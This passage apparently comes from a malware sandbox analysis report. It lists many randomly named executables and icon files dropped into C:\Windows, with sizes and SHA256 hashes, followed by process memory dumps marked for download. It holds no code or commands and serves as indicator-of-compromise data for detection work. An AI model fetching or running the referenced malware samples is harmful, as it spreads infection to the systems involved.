                                                                                                                                                                                                                                                                                                                                    • SHA256 3750a83e825612f013714f3822e455af19dd537dae9ca827603f472a936bc9e0
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    uMwe.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\uMwe.exe
                                                                                                                                                                                                                                                                                                                                    • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 109c6ac1a9c2f4c4769a280b257d4c8d2a606e21080d83b576571f8eabf87f62
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    uYQM.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\uYQM.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.9MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 486c9a9a553f09e4a803d4b7e2af30c6888479e8fe3c9f56385220a56a9d9a79
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    ucwe.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\ucwe.exe
                                                                                                                                                                                                                                                                                                                                    • Size 2.2MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 75d143738aff288266400b8e018f66e1768a9d27aa448fda7bd2f0ffae154499
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    ukYW.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\ukYW.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.9MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 1a98b131ccf3375069cde315c19a9db87f36a97279192ea3d14d339770e4538a
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    umUA.ico
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\umUA.ico
                                                                                                                                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 e1131246c60ad423586203bb8b9287e365051101ddbf532132bd47ef03ab86c8
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    uwAO.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\uwAO.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 7e16fcc8827b43e1f9dbce5bf25b00a35b4035fcedbe9c9f134c33d0848c6f31
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wMwW.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wMwW.exe
                                                                                                                                                                                                                                                                                                                                    • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 b2c2585d5f892adf75f60548967c8f068f020240002f13e29d741b6717cc933d
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wQYk.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wQYk.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.9MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 6c281a22106cb6b5aba7fd505e58f9feb64a6407ec16a74181cd5d271be4dc1d
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wUII.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wUII.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 f4343b6bc45686069d0916b71ad15af5a37eaed88242e21a7297fa05946d4f8c
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wcAO.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wcAO.exe
                                                                                                                                                                                                                                                                                                                                    • Size 2.4MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 0023f07752955e0fc20a54e156c194d34921dbf80209d1ea745f4de6da76a5b5
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wgss.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wgss.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.8MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 25decae72b16589b8bfefcc8d1805ae67b96937d98c1b201535442253359d1c6
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wkIQ.ico
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wkIQ.ico
                                                                                                                                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 ed7913a5b4914f6343f312915bd957b6c72c09c3061985d38d2d8b6c4241af51
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wsAe.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wsAe.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.9MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 4352cb47c137004764481d593c7cf58983a1cdeaa337d84e893ed29bfa49e191
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wsgy.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wsgy.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 c465e2dc77ed804332eb3945573f814ffd42907d3bb9f54dd618ddc5d76d8433
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wuwA.ico
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wuwA.ico
                                                                                                                                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 6b1018b4e474afacb1c54331284d85fdbc2bb5e945466dcbda91231feeac5fd4
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wwow.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\wwow.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.9MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 ca61afc59bd22b679dbc93af4eb8ad115c7e29463eabcaa629d439179011d5c4
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    yQYI.ico
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\yQYI.ico
                                                                                                                                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 f8e8be11d1062a945187b65fc5e5b1500bce03cbdbf6f4af9404b649aacc2aa3
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    yQoE.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\yQoE.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 1a653b9f2825d33988c8d10215b6021eaa873a60e0956a0d131f5cf55c1a5ad5
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    yekI.ico
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\yekI.ico
                                                                                                                                                                                                                                                                                                                                    • Size 4KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 bc4ed7d844af9da0a5d2fe12e8db07fbfdf6e0ecd557223b292bd0e9cb6a64a1
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    ygoY.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\ygoY.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.6MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 11e181918bdd812d80340cbaaddf9f9b0232b65e3802cb3d7b568d54fa8d9130
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    yoQk.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\yoQk.exe
                                                                                                                                                                                                                                                                                                                                    • Size 1.7MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 3b1ee15d4e5a2d71aeec32cbf7cefc5431971c9fc6a2911c370739e177cd0b3a
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    memory/296-2559-0x0000000000400000-0x0000000000591000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/876-2167-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1028-2185-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1224-2157-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1440-247-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1448-269-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1480-340-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1516-52-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1516-32-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1660-7-0x0000000000400000-0x0000000000591000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1660-2531-0x0000000000400000-0x0000000000591000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1900-2163-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1900-2176-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1992-211-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2148-14-0x0000000000400000-0x0000000000590000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2148-2536-0x0000000000400000-0x0000000000590000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2152-0-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2152-1-0x00000000023D0000-0x00000000023F0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2152-31-0x00000000023D0000-0x00000000023F0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2152-30-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2156-141-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2308-2104-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2336-260-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2612-2541-0x0000000000400000-0x0000000000590000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2612-19-0x0000000000400000-0x0000000000590000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2672-300-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2728-197-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2816-2113-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2816-2100-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2940-153-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3000-2072-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3476-65-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3476-77-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3652-331-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3724-353-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3876-322-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3888-121-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3952-2144-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3960-2135-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4580-229-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4584-165-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4608-278-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4628-498-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4796-181-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4920-109-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5012-97-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5072-309-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5252-289-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5528-64-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5796-348-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5796-362-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5876-2198-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5952-225-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5952-238-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5992-2554-0x0000000000400000-0x0000000000590000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/6148-2207-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/6332-2126-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/6344-2216-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/6844-2081-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/7108-2090-0x0000000000400000-0x0000000000624000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download